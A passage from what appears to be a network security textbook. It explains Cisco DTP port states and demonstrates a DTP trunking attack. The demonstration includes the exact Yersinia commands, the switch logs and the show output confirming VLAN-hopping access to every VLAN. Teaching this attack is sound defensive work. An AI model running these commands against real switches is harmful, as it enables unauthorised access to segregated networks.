DTP is Cisco-proprietary [protocol](https://www.ccexpert.us/protocol.html). Its purpose is to determine whether two switches that are connected want to create a trunk. In the event that both switches seem to agree, a trunk is automatically brought up with a range of mutually acceptable parameters, such as encapsulation and the VLAN range.

NOTE Ample DTP literature3 is available in other publications, and it's beyond this book's scope to cover all configuration aspects or enumerate matrices of possible DTP combinations. As a quick reference, here is a description of the several different DTP port states:

• Auto. The port listens for DTP frames from the neighboring switch. If the neighboring switch says it wants to be a trunk, or is a trunk, the auto state creates the trunk with the neighboring switch. Auto does not propagate any intent to become an trunk; it solely depends on the neighboring switch to make the trunking decision.

• Desirable. DTP is spoken to the neighboring switch. Desirable communicates to the neighboring switch that it is capable of being a trunk and wants the neighboring switch to also be a trunk.

• On. DTP is spoken to the neighboring switch. The On state automatically enables trunking on the port, regardless of the state of its neighboring switch. It remains a trunk unless it receives a DTP packet that explicitly disables the trunk.

Nonegotiate. DTP is not spoken to the neighboring switch. Nonegotiate automatically and unconditionally enables trunking on its port, regardless of the state of its neighboring switch. This is a common setting toward end stations that can understand trunking (such as VMWare virtual machines).

Off. Trunking is not allowed on this port regardless of the DTP mode configured on the other switch.

The fact that DTP is a protocol immediately rings a bell to a hacker. Something along the lines of, "Let's see whether I can fool this switch port into becoming a trunk by sending it a manually crafted DTP frame!," is a normal thought for a LAN hacker. If a switch port has been configured to send and/or listen to DTP advertisements, a hacker can easily coerce the port into becoming a trunk (see Example 4-3).

Example 4-3 Configuring a Port to Send and Accept DTP Packets

CiscoSwitch(config-if)#interface g7/8 CiscoSwitch(config-if)#switchport mode ?

access Set trunking mode to ACCESS unconditionally dot1q-tunnel set trunking mode to TUNNEL unconditionally dynamic Set trunking mode to dynamically negotiate access or trunk mode private-vlan Set the mode to private-vlan host or promiscuous trunk Set trunking mode to TRUNK unconditionally

CiscoSwitch(config-if)#switchport mode dynamic ?

auto Set trunking mode dynamic negotiation parameter to AUTO

desirable Set trunking mode dynamic negotiation parameter to DESIRABLE

The dynamic port-level configuration indicates to the switch that it should automatically try to figure out what to do with the port. Although DTP eases the configuration of trunks, it is potentially dangerous when enabled on user-facing ports.

If you think setting up a DTP attack takes a skillful hacker who's intimately familiar with packet-building libraries, remember this: There is always Yersinia.

Figure 4-7 shows that, once again, when it comes to hacking LAN protocols, Yersinia is up for the challenge. It comes bundled with a DTP frame-injection module that allows a hacker to send any arbitrary DTP frame to the switch. Also, a prebuilt DTP frame mode can turn an unsuspecting switch port into a trunk. If a hacker succeeds and transforms a port into a trunk, hopping VLANs is trivial.

Figure 4-7 Yersinia's DTP Module

- Attack Panel

No DoS Description

0 sending DTP packet

1 enabling trunking

- Select attack to launch ('

Source MAC 00:00:00;00;00;00 Destination MAC 00 Version 00 Domain

Status 00 Tape 00 Neighbor-ID 000000000000

Example 4-4 shows the initial port configuration of an actual DTP attack.

Example 4-4 Initial Port Configuration for DTP Exploit

CiscoSwitch#show running-config interface f5/14

Building configuration...

Current configuration : 249 bytes

interface FastEthernet5/14 description SERVER\_ETH1 switchport mode dynamic desirable switchport access vlan 100 no ip address logging event link-status logging event spanning-tree status logging event trunk-status spanning-tree portfast end

CiscoSwitch#show interface f5/14 trunk

Port Mode Encapsulation Status Native vlan

Fa5/14 desirable negotiate not-trunking 1

Example 4-4 Initial Port Configuration for DTP Exploit (Continued)

Port Fa5/14

Vlans allowed on trunk

Port Fa5/14

Vlans allowed and active in management domain

Port Fa5/14

Vlans in spanning tree forwarding state and not pruned

CiscoSwitch#

The port is in dynamic desirable mode and is currently not trunking. Things are about to change as you fire up Yersinia:

[root@server sample]# yersinia dtp -v 1 -i ethl -smac 00:ca:fe:be:ef:00 -dmac 01:00:0C:CC:CC:CC -neighbor 00:00:0c:11:22:33 -domain CISCO -attack 0

Ouch!! Invalid attack!! Valid yersinia ATTACK types are: 1: NONDOS attack sending DTP packet 2: NONDOS attack enabling trunking

A typo was purposefully introduced in the previous command to get Yersinia to list the range of DTP attacks it can perform. A plain-vanilla DTP packet injector and a prebuilt frame attempt to force the neighboring switch port to become a trunk. Does the switch fall for the second attack? Here's the verification:

[root@server sample]# yersinia dtp -v 1 -i eth1 -smac 00:ca:fe:be:ef:00 -dmac 01:00:0C:CC:CC:CC -neighbor 00:00:0c:11:22:33 -domain CISCO -attack 2

<\*> Starting NONDOS attack enabling trunking... <\*> Press any key to stop the attack <\*>

Two parameters matter in the previous Yersinia command: the destination MAC address (01:00:0C:CC:CC:CC) and the VLAN Trunking Protocol (VTP) domain name. The MAC address is a Cisco-specific multicast MAC address used by several LAN protocols, such as CDP and VTP. DTP uses the Subnetwork Access Protocol (SNAP) encapsulation, along with protocol ID 0x2004, to identify itself because the MAC address is not sufficient. The VTP domain must match the domain currently configured on the switch. Some interesting logs appear on the switch immediately after the attack:

.Jan 25 04:24:45.065: %LINEPROTO-5-UPDOWN: Line protocol on Interface

FastEthernet5/14, changed state to down Jan 25 04:24:45.054: %LINEPROTO-SP-5-UPDOWN: Line protocol on Interface

FastEthernet5/14, changed state to down .Jan 25 04:24:48.078: %SVCLC-5-FWTRUNK: Firewalled VLANs configured on trunks .Jan 25 04:24:48.122: %LINEPROTO-5-UPDOWN: Line protocol on Interface

FastEthernet5/14, changed state to up Jan 25 04:24:48.107: %LINEPROTO-SP-5-UPDOWN: Line protocol on Interface

FastEthernet5/14, changed state to up Jan 25 04:24:48.551: %DTP-SP-5-TRUNKPORTON: Port Fa5/14 has become dot1q trunk

According to the last log message, the port has become a trunk! It's time to double-check, as Example 4-5 shows.

Example 4-5 Verification of the Port's New Status

6K-3-S720#show interface f5/14 trunk

Port Mode Encapsulation Status Native vlan

Fa5/14 desirable n-802.1q trunking 1

Port Vlans allowed on trunk

Fa5/14 1-4094

Port Vlans allowed and active in management domain

Fa5/14 1-3,8-13,15,17-22,39,44-46,48-52,55-71,75-76,80-81,85-90,95,100-102,

104,111-112,120-121,130,150-151,161-162,200-204,210,250-251,265,300-301,304,

350-351,400-407,440-445,448,500-503,550,555,600,665-667,701,720,730,740,750,770,

780,800-802,822-823,839,888,900-904,906,921,997-999,1001,1100-1102,1121,1200-

1300,1448,1500-1501,1800-1801,1822,2000-2001,2500,2800,3120-3121,3500,3850-3851,

3900-3901,4000-4003,4094

Port Vlans in spanning tree forwarding state and not pruned

Fa5/14 none

6K-3-S720#

Sure enough, it worked! With one simple packet, a hacker gets instant access to a whopping range of 4000+ VLANs. This is impressive, considering the minimal amount of effort involved.